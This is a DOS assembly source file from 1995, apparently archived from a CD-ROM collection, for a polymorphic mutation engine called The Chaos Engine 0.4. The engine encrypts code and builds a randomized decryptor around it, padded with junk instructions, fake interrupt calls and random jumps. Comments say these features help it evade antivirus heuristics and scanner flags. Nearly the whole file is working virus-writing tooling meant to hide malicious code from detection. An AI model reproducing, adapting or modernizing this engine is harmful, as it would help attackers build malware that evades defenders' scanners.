home *** CD-ROM | disk | FTP | other *** search
- radix 16
-
- ;*****************************************
- ;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
- ;*****************************************
- ;1995 - Sepultura - Australia
- ;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;;on CALLing of TCE -
- ;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
- ;;; 2 - Make Short Decryptor (No Junk).
- ;;; 4 - Add Segment Overide.
- ;;;
- ;;;CX = Length of Code to Encrypt.
- ;;;DX = Delta Offset.
- ;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
- ;;;ES:DI = Location of Buffer to Create Decryptor in.
- ;;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;;ON RETURN:
- ;;;ES = DS = Segment of Decryptor / Encrypted Code
- ;;;DX = Pointer to Start of Code
- ;;;CX = Length of Code
- ;;;;;;;;;;;;;;;;;;;
- ;;;Flag EQUates
-
- MAKE_SMALL equ 1
- PAD_TO_MAX equ 2
- ADD_SEG equ 4
-
- ;;;;;;;;;;;;;;;;;;;
- ;;;W.H.A.T.E.V.E.R
-
- DECRYPTOR_LENGTH equ 190h
- MAX_PADDING equ 90h - 1f
- length_1 equ (offset int_tbl - offset one_byters)-1
-
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;;REGISTER TABLE - INTEL STANDLE FORMAT
-
- tce_AX equ 0000xB
- tce_CX equ 0001xB
- tce_DX equ 0010xB
- tce_BX equ 0011xB
- tce_SP equ 0100xB
- tce_BP equ 0101xB
- tce_SI equ 0110xB
- tce_DI equ 0111xB
-
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;;THe BeLoW InSTuCTiOn CaN KilL A MaN
-
- db '[TCE-0.4]',0
-
- ;*****************************************************
- ;*****************************************************
- ;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
- ;*****************************************************
- ;*****************************************************
-
- tce: push ax,bx,bp
- push di,si
-
- cld
-
- mov tce_begin,di
- mov tce_delta,dx
- mov c_length,cx
- mov tce_flags,ax
- call clear_regs
- mov B index_sub,0
-
- mov B[offset more_junk],0b0
- test W tce_flags,MAKE_SMALL
- if nz mov B[offset more_junk],0c3
-
- push si
- call get_rand_1f
- add ax,MAX_PADDING
- xchg cx,ax
- call more_junk
-
- swap0: mov si,offset init_1
- lodsw
- call binary
- jz no_swap1
- xchg ax,[si]
- mov [si-2],ax
-
- no_swap1:
- push ax
- lodsw
- call binary
- jnz no_swap2
- xchg ax,[si]
- mov [si-2],ax
-
- no_swap2:
- push ax
- lodsw
- lodsw
- call binary
- jz build_code
- xchg ax,[si]
- mov [si-2],ax
-
- build_code:
- pop ax
- call ax
- call pad_10
- pop ax
- call ax
- call pad_10
- call W init_3
- call pad_10
- call gen_decrypt
- call pad_8
- call W init_4
- call pad_8
- call W init_5
- call pad_10
- call gen_loop
- call pad_8
-
- test W tce_flags,PAD_TO_MAX
- jz no_padding
-
- mov B[offset more_junk],0b0
- mov cx,DECRYPTOR_LENGTH
- add cx,tce_begin
- sub cx,di
- call more_junk
-
- no_padding:
- mov ax,di
- sub ax,DECRYPTOR_LENGTH
- add enc_index,ax
- mov bx,W index_loc
- cmp B index_sub,1
- if e neg ax
- add es:[bx],ax
-
- pop si
- mov cx,c_length
- rep movsb
- mov dx,tce_begin
- mov ds,es
- call encryptor
- mov cx,di
- sub cx,dx
-
- pop si,di
- pop bp,bx,ax
- ret
-
- init_count: ;Initialises Count Register..
- call get_unused_reg ;Make Count Initialiser in Encryptor and
- cmp al,tce_DX
- je init_count
- mov count_reg,al ;Decryptor
- mov bx,W c_length
- shr bx,1
- mov W enc_length,bx
- call gen_mov_reg
- ret
-
- init_index: ;Initialises Index Register..
- mov ax,0ff ;Makes Index Initialiser in Encryptor and
- call get_rand ;Decryptor..
- push ax
- call get_rand_7
- pop ax
- if z xor ax,ax
- mov B index_off,al
- mov bx,DECRYPTOR_LENGTH
- add bx, tce_begin
- mov W enc_index,bx
- add bx, tce_delta
- cbw
- sub bx,ax
-
- get_index:
- call get_unused_reg
- cmp al,tce_BX
- jb get_index
- mov W index_num,ax
- mov B index_reg,al
- mov B index_set,1
- call gen_mov_reg
- mov B index_set,0
- ret
-
- gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction
- mov W loop_start,di
- call pad_8
- mov bl,B key_reg
- sal bl,3
- call get_rand_2
- add ax,ax
- add ax,offset enc_table
- xchg si,ax
- lodsw
- call binary
- if z xchg ah,al
- push ax
- cmp si,offset enc_table + 2
- jne no_carry_set
- mov al,0f8
- call binary
- if z inc ax
- mov B enc_cf,al
- stosb
-
- no_carry_set:
- test W tce_flags,ADD_SEG
- jz no_seg_set
- mov al,2e
- stosb
-
- no_seg_set:
- pop ax
- stosb
- mov B enc_loop,ah
- mov si,W index_num
-
- cmp B index_reg,tce_BP
- je encryptor_has_offset
- cmp B index_off,0
- jne encryptor_has_offset
- push ax
- call get_rand_7
- pop ax
- jz encryptor_has_offset
- add si,index_tab_c
- lodsb
- or al,bl
- stosb
- ret
-
- encryptor_has_offset:
- add si,index_tab_b
- lodsb
- or al,bl
- mov ah,B index_off
- or al,bl
- stosw
- xchg al,ah
- cbw
- call binary
- jnz ret
- mov al,ah
- stosb
- add es:B[di-3],40
- ret
-
- modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx
- call get_rand_7
- jz no_mod_key
- call get_rand_2
- add ax,offset modify_table
- xchg si,ax
- lodsb
- mov ah,al
- mov al,81
- mov W enc_mod_op,ax
- or ah,B key_reg
- stosw
- call get_any_rand
- stosw
-
- no_mod_key:
- mov W enc_mod_val,ax
-
- ret
-
- inc_index: ;increase index by 2..
- call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2
- jz add_sub_index
-
- mov al,B index_reg
- or al,40
- stosb
- call pad_8
- stosb
- ret
-
- add_sub_index:
- mov al,83
- stosb
- mov ah,2
- mov al,B index_reg
- or al,0c0
-
- call binary
- jnz put_add_sub_index
-
- neg ah
- or al,0e8
-
- put_add_sub_index:
- stosw
- ret
-
- gen_loop:
- mov al,B count_reg
- cmp al,tce_CX
- jne not_CX
-
- push ax
- call get_rand_7
- pop ax
- jz not_CX
-
- lea bx,[di+2]
- mov ax,W loop_start
- sub ax,bx
- mov ah,0e2
- call binary
- jnz no_loop_nz
- xchg bp,ax
- jmp short do_loop_nz
-
- no_loop_nz:
- xchg ah,al
- stosw
- ret
-
- not_CX: xchg bx,ax
-
- call binary
- jz count_add_sub
-
- mov al,48
- or al,bl
- stosb
- jmp short zero_test
-
-
- count_add_sub:
- mov al,83
- stosb
- mov ah,-1
- mov al,bl
- or al,0c0
-
- call binary
- jnz put_add_sub_count
-
- neg ah
- or al,0e8
-
- put_add_sub_count:
- stosw
- xor bp,bp
- push ax
- call get_rand_7
- pop ax
- jz nloop_nz
-
- zero_test:
- call pad_10
- xor bp,bp
- do_loop_nz:
- mov al,B count_reg
- mov bl,al
- sal al,3
- or al,bl
- xchg ah,al
- mov bh,ah
- call get_rand_2
- add ax,offset zero_test_a
- xchg si,ax
- lodsb
- mov ah,bh
- or ah,0c0
- stosw
-
- nloop_nz:
- lea bx,[di+2]
- mov ax,W loop_start
- sub ax,bx
- or bp,bp
- jnz loop_nz
- mov ah,075
- call binary
- jnz nnnn
- mov B es:[di],0f8
- inc di
- sub ax,0fe01
- db 0a9
-
- loop_nz:mov ah,0e0
-
-
- nnnn: xchg ah,al
- stosw
- ret
-
- init_key:
- call get_any_rand
- mov W enc_key,ax
- xchg bx,ax
- call get_unused_reg
- mov B key_reg,al
-
- gen_mov_reg:
- call binary
- jz lea_mov
-
- or al,0b8
- stosb
- xchg ax,bx
- jmp short put_mov_b
-
- lea_mov:call binary
- jz zero_then_add
-
- sal al,3
- or al,06
- mov ah,8d
- xchg ah,al
- stosw
- xchg ax,bx
- jmp short put_mov_b
-
- zero_then_add: ;Zero Register (XOR/SUB reg,reg)
- push bx ;Then OR/XOR/ADD Value
- push ax ;or SUB -Value
- mov ah,0c0
- or ah,al
- sal al,3
- or ah,al
- mov al,29
- call binary
- if z mov al,31
- stosw
- call pad_10
- pop bx
- call get_rand_2
- add ax,offset value_from_0
- xchg si,ax
- lodsb
- call binary
- jz zero_then_sub
-
- or al,bl
- mov ah,81
- xchg ah,al
- stosw
- pop ax
-
- put_mov_b:
- cmp B index_set,01
- if e mov W index_loc,di
- stosw
- ret
-
- zero_then_sub:
- cmp B index_set,01
- if e mov B index_sub,1
- mov al,0e8
- or al,bl
- mov ah,81
- xchg ah,al
- stosw
- pop ax
- neg ax
- jmp short put_mov_b
-
- pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes
- call get_rand_7
- inc ax
- jmp short padder
-
- pad_10: push ax
- call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes
- or al,8
- padder: xchg cx,ax
- call more_junk
- pop ax
- ret
-
-
- more_junk:
- mov al,03
- call get_rand_b
- jnz mj0
-
- mov B [offset code_jmp],083 ;Re-Enable Jumps
- mov ax,cx ;else normal filler junk (1 in 16)
- cmp ax,40
- if a mov al,40
- call get_rand_b
- xchg bx,ax
- call fill_jnk
- jmp short mj2
-
- mj0: ;8 in 16 chance of some type of jump
- call code_jmp
-
-
- mj2: jcxz ret
- jmp short more_junk
-
-
- one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION
- jcxz ret
- mov si,one_byters ;FROM one_byters TABLE
- mov al,length_1
- call get_rand_b
- add si,ax
- movsb
- dec cx
- dec bx
- ret
-
- reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16..
- sal al,3
- or al,3
- xchg dx,ax
- call get_unused_reg
- sal al,3
- mov dh,al
- call get_rand_7
- do_op: or dh,al
- or dh,0c0
- xchg dx,ax
- put_2: cmp bx,2
- jb one_byte
- stosw
- dec cx,2
- dec bx,2
- ret
-
-
- lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI]
- cmp al,6
- je lea_reg
-
- xchg dx,ax
- call get_unused_reg
- sal al,3
- or al,dl
- mov ah,08d
- xchg ah,al
-
- jmp short put_2
-
- op_ax: call get_any_rand
- and al,8
- or al,5
- and ah,3
- shr ah,4
- or al,ah
-
- put_3: cmp bx,3
- jb reg_op
- stosb
- call get_any_rand
- put_3b: stosw
- sub cx,3
- sub bx,3
- ret
-
- mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx
- or al,0b8
- jmp short put_3
-
-
- op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
- cmp bx,4
- jb op_ax
- call get_unused_reg
- mov ah,81
- xchg dx,ax
- call get_rand_7
- sal al,3
- or ax,dx
- xchg ah,al
- or ah,0c0
- stosw
- call get_any_rand
- stosw
- sub bx,4
- sub cx,4
- ret
-
-
- code_jmp:
- cmp cx,3
- jb ret
-
- mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
- ;(TBAV-J) and helps stops heuristics
- call get_any_rand ;else conditional jmp
- and ax,1f0f ;between 4 and 43 bytse jmp length
- add ah,4
- or al,70 ;conditional jmp instructions are 70
- ;--> 7f
- push ax
- call get_rand_1f
- pop ax
- if z mov al,0e3
- xor bx,bx
- mov bl,ah
-
- dec cx,2
- cmp bx,cx
- jb put_jmp
- mov bx,cx
- mov ah,bl
-
- put_jmp:stosw
-
- fill_jnk:
- or bx,bx
- jz ret
-
- mov al,((offset binary - offset junk_tbl)/2)-1
- call get_rand_b
- add ax,ax
- add ax,offset junk_tbl
- xchg si,ax
- lodsw
- call ax
- jmp short fill_jnk
-
-
- pp_reg: ;generate PUSH reg / junk / POP reg
- cmp bx,3
- jb gen_int
-
- lea ax,[bx-2]
- shr ax,1
- call get_rand
- xchg ax,dx
- call get_rand_7
- or al,50
- stosb
- dec cx
- dec bx
- push ax
- xchg dx,ax
- sub bx,ax
- push bx
- xchg bx,ax
- call fill_jnk
- pop bx
- pop ax
-
- call binary
- jz use_same
- call get_unused_reg
- or al,50
-
- use_same:
- or al,8
- stosb
- dec cx
- dec bx
- ret
-
-
- gen_int:cmp bx,4
- jb ret
-
- call get_rand_2
-
- add ax,ax
- add ax,offset int_tbl
- xchg si,ax
- lodsw
- mov dx,0cdb4
- xchg al,dl
- stosw
- xchg dx,ax
- xchg ah,al
- stosw
- sub cx,4
- sub bx,4
- ret
-
- junk_tbl: dw offset op_reg_im
- dw offset op_reg_im
- dw offset op_reg_im
- dw offset gen_int
- dw offset gen_int
- dw offset pp_reg
- dw offset pp_reg
- dw offset reg_op
- dw offset reg_op
- dw offset lea_reg
- dw offset lea_reg
- dw offset mov_reg
- dw offset op_ax
- dw offset one_byte
-
- binary: push ax
- mov al,1
- call get_rand_b
- pop ax
- ret
-
- get_rand_2:
- mov al,2
- db 0a9
-
- get_rand_7:
- mov al,7
- db 0a9
-
- get_rand_1f:
- mov al,1f
- db 0a9
-
- get_any_rand: ;return rnd number in AX between 0 and FFFE
- mov al,0fe
-
- get_rand_b:
- cbw
-
- get_rand: ;returns random number in AX between 0 and AX
- push cx,dx
- inc ax
- push ax
- in ax,40
- xchg cx,ax
- in ax,40
- rol ax,cl
- xchg cx,ax
- in ax,40
- xor ax,cx
- adc ax,1234
- org $-2
- last_rand dw 0AAAA
- mov last_rand,ax
- pop cx
- xor dx,dx
- cmp cx,1
- adc cx,0
- div cx
- xchg dx,ax
- or ax,ax
- pop dx,cx
- ret
-
- one_byters: cmc ;15 1 byte junk instructions
- cld
- std
- in ax,dx
- in al,dx
- lahf
- cbw
- nop
- aaa
- aas
- daa
- das
- inc ax
- dec ax
- xlat
-
-
- int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer..
- dw 0216 ;AH=02,INT16: Get Keyboard States..
- dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
- dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
- dw 0d10 ;AH=0D,INT10: Get Video Info..
- dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer..
- dw 002a
- dw 002a
-
-
- clear_regs: cwd
- mov B index_reg,dl ;Clears Register Tables
- mov B key_reg,dl ;(All Regs Free)..
- mov B count_reg,dl
- ret
-
- get_unused_reg: call get_rand_7 ;Return an Unused Register..
- test al,NOT tce_SP ;But _NOT_ SP, or AX.
- jz get_unused_reg
- cmp al,index_reg
- je get_unused_reg
- cmp al,count_reg
- je get_unused_reg
- cmp al,B key_reg
- je get_unused_reg
- ret
-
-
- ;**********************************************
- ;* The Encryptor (Built along with Decryptor) *
- ;**********************************************
- encryptor: mov cx,1234
- org $-2
- enc_length dw 0
-
- mov bx,1234
- org $-2
- enc_index dw 0
-
- mov ax,1234
- org $-2
- enc_key dw 0
-
- enc_cf: nop
- enc_loop: xor [bx],ax
-
- enc_mod_op dw 0
- enc_mod_val dw 0
-
- inc bx,2
- loop enc_cf
- ret
-
- ;****************************
- ;* Data / Variables / Flags *
- ;****************************
-
- init_1 dw offset init_count
- init_2 dw offset init_key
- init_3 dw offset init_index
-
- init_4 dw offset inc_index
- init_5 dw offset modify_key
-
- ;* The Below is A table of Values to Be Used To Choose *
- ;* The Count Register, The Index Register, and The Reg *
- ;* to save SP in During the Decryptor Loop *
- ; BX BP SI DI ;This Table is used To Build
- index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction
- index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above
- ; SBB ADC XOR XOR ADD SUB
- enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes..
-
- ; AND OR TEST
- zero_test_a: db 21, 09,85
-
- ; SUB ;Opcodes to Modify the Key
- modify_table: db 0e8 ;Register
- ; ADD XOR OR ;Opcode to get A value
- value_from_0: db 0c0,0f0,0c8 ;from 0.
-
- loop_start dw 0 ;Postion for LOOP to Jump to..
-
- index_num dw 0
- index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]).
- index_loc dw 0 ;location in ES of index reference set
- index_sub db 0 ;Was index_reg set using 0 the sub -value?
-
- index_reg db 0 ;Table of Used Registers..
- count_reg db 0 ;used in GET_UNUSED_REG
- key_reg db 0
- index_set db 0
-
- tce_flags dw 0 ;Engines Flags
- tce_delta dw 0 ;Delta Offset
- tce_begin dw 0 ;Beginning
- c_length dw 0
- end_tce:
-
-